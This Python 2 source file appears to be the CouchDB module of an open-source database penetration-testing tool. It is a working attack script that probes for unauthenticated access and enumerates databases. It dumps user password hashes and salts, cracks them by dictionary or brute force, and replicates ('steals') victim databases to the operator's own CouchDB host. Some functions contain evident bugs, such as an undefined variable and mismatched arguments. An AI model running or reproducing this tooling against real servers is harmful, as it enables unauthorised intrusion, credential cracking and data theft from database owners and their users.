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#!/usr/bin/python

#This program is free software: you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by

#the Free Software Foundation, either version 3 of the License, or

#(at your option) any later version.

#This program is distributed in the hope that it will be useful,

#but WITHOUT ANY WARRANTY; without even the implied warranty of

#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

#GNU General Public License for more details.

#You should have received a copy of the GNU General Public License

#along with this program. If not, see <http://www.gnu.org/licenses/>.

import couchdb

import urllib

import requests

import sys

import unittest

from pbkdf2 import PBKDF2

from binascii import a2b_hex

import string

import itertools

from hashlib import sha1

import os

global dbList

global yes_tag

global no_tag

yes_tag = ['y', 'Y']

no_tag = ['n', 'N']

def couchScan(target,port,pingIt):

if pingIt == True:

test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")

if test == 0:

try:

conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")

try:

dbVer = conn.version()

return [0,dbVer]

except couchdb.http.Unauthorized:

return [1,None]

except:

return [2,None]

except:

return [3,None]

else:

return [4,None]

else:

try:

conn = couchdb.Server("http://" + str(target) + ":" + str(port) +"/")

try:

dbVer = conn.version()

return [0,dbVer]

except couchdb.http.Unauthorized:

return [1,None]

except:

return [2,None]

except:

return [3,None]

def netAttacks(target,port, myIP):

print "DB Access attacks (CouchDB)"

print "======================"

mgtOpen = False

webOpen = False

mgtSelect = True

#This is a global for future use with other modules; may change

dbList = []

print "Checking to see if credentials are needed..."

needCreds = couchScan(target,port,False)

if needCreds[0] == 0:

conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")

print "Successful access with no credentials!"

mgtOpen = True

elif needCreds[0] == 1:

print "Login required!"

srvUser = raw_input("Enter server username: ")

srvPass = raw_input("Enter server password: ")

uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":" + str(port) + "/"

try:

conn = couchdb.Server(uri)

print "CouchDB authenticated on " + target + ":" + str(port)

mgtOpen = True

except:

raw_input("Failed to authenticate. Press enter to continue...")

return

elif needCreds[0] == 2:

conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")

print "Access check failure. Testing will continue but will be unreliable."

mgtOpen = True

elif needCreds[0] == 3:

raw_input ("Couldn't connect to CouchDB server. Press enter to return to the main menu.")

return

mgtUrl = "http://" + target + ":" + str(port) + "/_utils"

#Future rev: Add web management interface parsing

try:

mgtRespCode = urllib.urlopen(mgtUrl).getcode()

if mgtRespCode == 200:

print "Sofa web management open at " + mgtUrl + ". No authentication required!"

except:

print "Sofa web management closed or requires authentication."

if mgtOpen == True:

while mgtSelect:

print "\n"

print "1-Get Server Version and Platform"

print "2-Enumerate Databases/Users/Password Hashes"

print "3-Check for Attachments (still under development)"

print "4-Clone a Database"

print "5-Return to Main Menu"

attack = raw_input("Select an attack: ")

if attack == "1":

print "\n"

getPlatInfo(conn,target)

if attack == "2":

print "\n"

enumDbs(conn,target,port)

if attack == "3":

print "\n"

enumAtt(conn,target,port)

if attack == "4":

print "\n"

stealDBs(myIP,conn,target,port)

if attack == "5":

return

def getPlatInfo(couchConn, target):

print "Server Info:"

print "CouchDB Version: " + couchConn.version()

return

def enumAtt(conn,target):

dbList = []

print "Enumerating all attachments..."

for db in conn:

dbList.append(db)

for dbName in dbList:

r = requests.get("http://" + target + ":" + str(port) + "/" + dbName + "/_all_docs" )

dbDict = r.json()

def enumDbs (couchConn,target,port):

dbList = []

userNames = []

userHashes = []

userSalts = []

try:

for db in couchConn:

dbList.append(db)

print "List of databases:"

print "\n".join(dbList)

print "\n"

except:

print "Error: Couldn't list databases. The provided credentials may not have rights."

if '_users' in dbList:

r = requests.get("http://" + target + ":" + str(port) + "/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true")

userDict = r.json()

for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])):

if float(couchConn.version()[0:3]) < 1.3:

userNames.append(userDict["rows"][counter]["id"].split(":")[1])

userHashes.append(userDict["rows"][counter]["doc"]["password_sha"])

userSalts.append(userDict["rows"][counter]["doc"]["salt"])

else:

userNames.append(userDict["rows"][counter]["id"].split(":")[1])

userHashes.append(userDict["rows"][counter]["doc"]["derived_key"])

userSalts.append(userDict["rows"][counter]["doc"]["salt"])

print "Database Users and Password Hashes:"

for x in range(0,len(userNames)):

print "Username: " + userNames[x]

print "Hash: " + userHashes[x]

print "Salt: "+ userSalts[x]

print "\n"

crack = raw_input("Crack this hash (y/n)? ")

if crack in yes_tag:

passCrack(userNames[x],userHashes[x],userSalts[x],couchConn.version())

return

def stealDBs (myDB,couchConn,target,port):

dbLoot = True

menuItem = 1

dbList = []

for db in couchConn:

dbList.append(db)

if len(dbList) == 0:

print "Can't get a list of databases to steal. The provided credentials may not have rights."

return

for dbName in dbList:

print str(menuItem) + "-" + dbName

menuItem += 1

while dbLoot:

dbLoot = raw_input("Select a database to steal:")

if int(dbLoot) > menuItem:

print "Invalid selection."

else:

break

try:

#Create the DB target first

myServer = couchdb.Server("http://" + myDB + ":5984")

targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen")

couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen")

cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")

if cloneAnother in yes_tag:

stealDBs(myDB,couchConn,target,port)

else:

return

except:

raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...")

return

def passCrack (user, encPass, salt, dbVer):

select = True

print "Select password cracking method: "

print "1-Dictionary Attack"

print "2-Brute Force"

print "3-Exit"

while select:

select = raw_input("Selection: ")

if select == "1":

select = False

dict_pass(encPass,salt,dbVer)

elif select == "2":

select = False

brute_pass(encPass,salt,dbVer)

elif select == "3":

return

def genBrute(chars, maxLen):

return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))

def brute_pass(hashVal,salt,dbVer):

charSel = True

print "\n"

maxLen = raw_input("Enter the maximum password length to attempt: ")

print "1-Lower case letters"

print "2-Upper case letters"

print "3-Upper + lower case letters"

print "4-Numbers only"

print "5-Alphanumeric (upper and lower case)"

print "6-Alphanumeric + special characters"

charSel = raw_input("\nSelect character set to use:")

if charSel == "1":

chainSet = string.ascii_lowercase

elif charSel == "2":

chainSet= string.ascii_uppercase

elif charSel == "3":

chainSet = string.ascii_letters

elif charSel == "4":

chainSet = string.digits

elif charSel == "5":

chainSet = string.ascii_letters + string.digits

elif charSel == "6":

chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"

count = 0

print "\n",

for attempt in genBrute (chainSet,int(maxLen)):

print "\rCombinations tested: " + str(count) + "\r"

count += 1

#CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.

if float(dbVer[0:3]) < 1.3:

gotIt = gen_pass_couch(attempt,salt,hashVal)

else:

gotIt = gen_pass_couch13(attempt, salt, 10, hashVal)

if gotIt == True:

break

def dict_pass(key,salt,dbVer):

loadCheck = False

while loadCheck == False:

dictionary = raw_input("Enter path to password dictionary: ")

try:

with open (dictionary) as f:

passList = f.readlines()

loadCheck = True

except:

print " Couldn't load file."

print "Running dictionary attack..."

for passGuess in passList:

temp = passGuess.split("\n")[0]

#CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.

if float(dbVer[0:3]) < 1.3:

gotIt = gen_pass_couch(temp,salt,key)

else:

gotIt = gen_pass_couch13(temp, salt, 10, key)

if gotIt == True:

break

return

def gen_pass_couch(passw, salt, hashVal):

if sha1(passw+salt).hexdigest() == hashVal:

print "Password Cracked - "+passw

return True

else:

return False

def gen_pass_couch13(passw, salt, iterations, hashVal):

result=PBKDF2(passw,salt,iterations).read(20)

expected=a2b_hex(hashVal)

if result==expected:

print "Password Cracked- "+passw

return True

else:

return False